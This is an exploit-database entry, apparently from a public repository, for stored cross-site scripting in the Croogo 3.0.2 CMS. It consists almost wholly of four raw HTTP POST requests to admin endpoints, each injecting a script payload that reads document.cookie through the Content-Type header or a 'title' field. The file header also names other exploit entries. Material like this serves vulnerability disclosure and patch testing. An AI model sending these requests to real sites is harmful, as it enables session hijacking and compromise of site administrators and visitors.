929e254945
4 changes to exploits/shellcodes Cibele Thinfinity VirtualUI 2.5.41.0 - User Enumeration Croogo 3.0.2 - Unrestricted File Upload Croogo 3.0.2 - 'Multiple' Stored Cross-Site Scripting (XSS) Arunna 1.0.0 - 'Multiple' Cross-Site Request Forgery (CSRF)
124 lines
No EOL
5.9 KiB
Text
124 lines
No EOL
5.9 KiB
Text
# Exploit Title: Croogo 3.0.2 - 'Multiple' Stored Cross-Site Scripting (XSS)
|
|
# Date: 06/12/2021
|
|
# Exploit Author: Enes Özeser
|
|
# Vendor Homepage: https://croogo.org/
|
|
# Software Link: https://downloads.croogo.org/v3.0.2.zip
|
|
# Version: 3.0.2
|
|
# Tested on: Windows 10 Home Single Language 20H2 & WampServer 3.2.3
|
|
|
|
==> 'Content-Type' Stored Cross-Site Scripting (/admin/file-manager/attachments/add) <==
|
|
|
|
POST /admin/file-manager/attachments/add HTTP/1.1
|
|
Host: (HOST)
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
|
|
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Content-Type: multipart/form-data; boundary=---------------------------114221148012003093972656004730
|
|
Content-Length: 923
|
|
Origin: http://(HOST)
|
|
Connection: close
|
|
Referer: http://(HOST)/admin/file-manager/attachments/add
|
|
Cookie: csrfToken=c49348b47c99523135d42caefb6da7148946a8d049dc40e4763b8acb570b77d6d9353ee2be724c716679c9d6f7006a0545dbe68fe77bd8e3019994bef968a67a; CAKEPHP=ba820s2lf013a07a2mhg5hccup
|
|
Upgrade-Insecure-Requests: 1
|
|
Sec-Fetch-Dest: document
|
|
Sec-Fetch-Mode: navigate
|
|
Sec-Fetch-Site: same-origin
|
|
Sec-Fetch-User: ?1
|
|
|
|
-----------------------------114221148012003093972656004730
|
|
Content-Disposition: form-data; name="_method"
|
|
|
|
POST
|
|
-----------------------------114221148012003093972656004730
|
|
Content-Disposition: form-data; name="_csrfToken"
|
|
|
|
c49348b47c99523135d42caefb6da7148946a8d049dc40e4763b8acb570b77d6d9353ee2be724c716679c9d6f7006a0545dbe68fe77bd8e3019994bef968a67a
|
|
-----------------------------114221148012003093972656004730
|
|
Content-Disposition: form-data; name="file"; filename="file.txt"
|
|
Content-Type: <script>alert(document.cookie)</script>
|
|
|
|
Enes Ozeser (@enesozeser)
|
|
-----------------------------114221148012003093972656004730
|
|
Content-Disposition: form-data; name="_Token[fields]"
|
|
|
|
16ade00fae1eb7183f11fe75ed658ae4ec2a5921%3A
|
|
-----------------------------114221148012003093972656004730
|
|
Content-Disposition: form-data; name="_Token[unlocked]"
|
|
|
|
|
|
-----------------------------114221148012003093972656004730--
|
|
|
|
|
|
==> 'title' Stored Cross-Site Scripting (/admin/taxonomy/types/edit/) <==
|
|
|
|
POST /admin/taxonomy/types/edit/5 HTTP/1.1
|
|
Host: (HOST)
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
|
|
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 590
|
|
Origin: http://(HOST)
|
|
Connection: close
|
|
Referer: http://(HOST)admin/taxonomy/types/edit/5
|
|
Cookie: csrfToken=c49348b47c99523135d42caefb6da7148946a8d049dc40e4763b8acb570b77d6d9353ee2be724c716679c9d6f7006a0545dbe68fe77bd8e3019994bef968a67a; CAKEPHP=ba820s2lf013a07a2mhg5hccup
|
|
Upgrade-Insecure-Requests: 1
|
|
Sec-Fetch-Dest: document
|
|
Sec-Fetch-Mode: navigate
|
|
Sec-Fetch-Site: same-origin
|
|
Sec-Fetch-User: ?1
|
|
|
|
_method=PUT&_csrfToken=c49348b47c99523135d42caefb6da7148946a8d049dc40e4763b8acb570b77d6d9353ee2be724c716679c9d6f7006a0545dbe68fe77bd8e3019994bef968a67a&
|
|
title=<script>alert(document.cookie)</script>&alias=Alias&description=Description&vocabularies[_ids]=&comment_status=&comment_status=2&comment_approve=0&
|
|
comment_approve=1&comment_spam_protection=0&comment_captcha=0¶ms=routes=true&format_show_author=0&format_show_author=1&format_show_date=0&format_show_date=1&
|
|
format_use_wysiwyg=0&format_use_wysiwyg=1&_Token[fields]=ee5145e2485f47bddda98c72f96db218bffdd827%3A&_Token[unlocked]=_apply
|
|
|
|
|
|
==> 'title' Stored Cross-Site Scripting (/admin/blocks/regions/edit/) <==
|
|
|
|
POST /admin/blocks/regions/edit/3 HTTP/1.1
|
|
Host: (HOST)
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
|
|
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 336
|
|
Origin: http://(HOST)
|
|
Connection: close
|
|
Referer: http://(HOST)/admin/blocks/regions/edit/3
|
|
Cookie: csrfToken=c49348b47c99523135d42caefb6da7148946a8d049dc40e4763b8acb570b77d6d9353ee2be724c716679c9d6f7006a0545dbe68fe77bd8e3019994bef968a67a; CAKEPHP=ba820s2lf013a07a2mhg5hccup
|
|
Upgrade-Insecure-Requests: 1
|
|
Sec-Fetch-Dest: document
|
|
Sec-Fetch-Mode: navigate
|
|
Sec-Fetch-Site: same-origin
|
|
Sec-Fetch-User: ?1
|
|
|
|
_method=PUT&_csrfToken=c49348b47c99523135d42caefb6da7148946a8d049dc40e4763b8acb570b77d6d9353ee2be724c716679c9d6f7006a0545dbe68fe77bd8e3019994bef968a67a&
|
|
title=<script>alert(document.cookie)</script>&alias=Alias&_Token[fields]=49781a41a2787c301464989f09805bc79fa26c13%3A&_Token[unlocked]=_apply
|
|
|
|
|
|
==> 'title' Stored Cross-Site Scripting (/admin/file-manager/attachments/edit/) <==
|
|
|
|
POST /admin/file-manager/attachments/edit/20 HTTP/1.1
|
|
Host: (HOST)
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
|
|
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 363
|
|
Origin: http://(HOST)
|
|
Connection: close
|
|
Referer: http://(HOST)/admin/file-manager/attachments/edit/20
|
|
Cookie: csrfToken=c49348b47c99523135d42caefb6da7148946a8d049dc40e4763b8acb570b77d6d9353ee2be724c716679c9d6f7006a0545dbe68fe77bd8e3019994bef968a67a; CAKEPHP=ba820s2lf013a07a2mhg5hccup
|
|
Upgrade-Insecure-Requests: 1
|
|
Sec-Fetch-Dest: document
|
|
Sec-Fetch-Mode: navigate
|
|
Sec-Fetch-Site: same-origin
|
|
Sec-Fetch-User: ?1
|
|
|
|
_method=PUT&_csrfToken=c49348b47c99523135d42caefb6da7148946a8d049dc40e4763b8acb570b77d6d9353ee2be724c716679c9d6f7006a0545dbe68fe77bd8e3019994bef968a67a&
|
|
title=<script>alert(document.cookie)</script>&excerpt=&file_url=http://(HOST)/uploads/file.txt&file_type=text/plain&_Token[fields]=6170a60e541f596fe579a5e70fea879aafb9ac14%3A&_Token[unlocked]=_apply |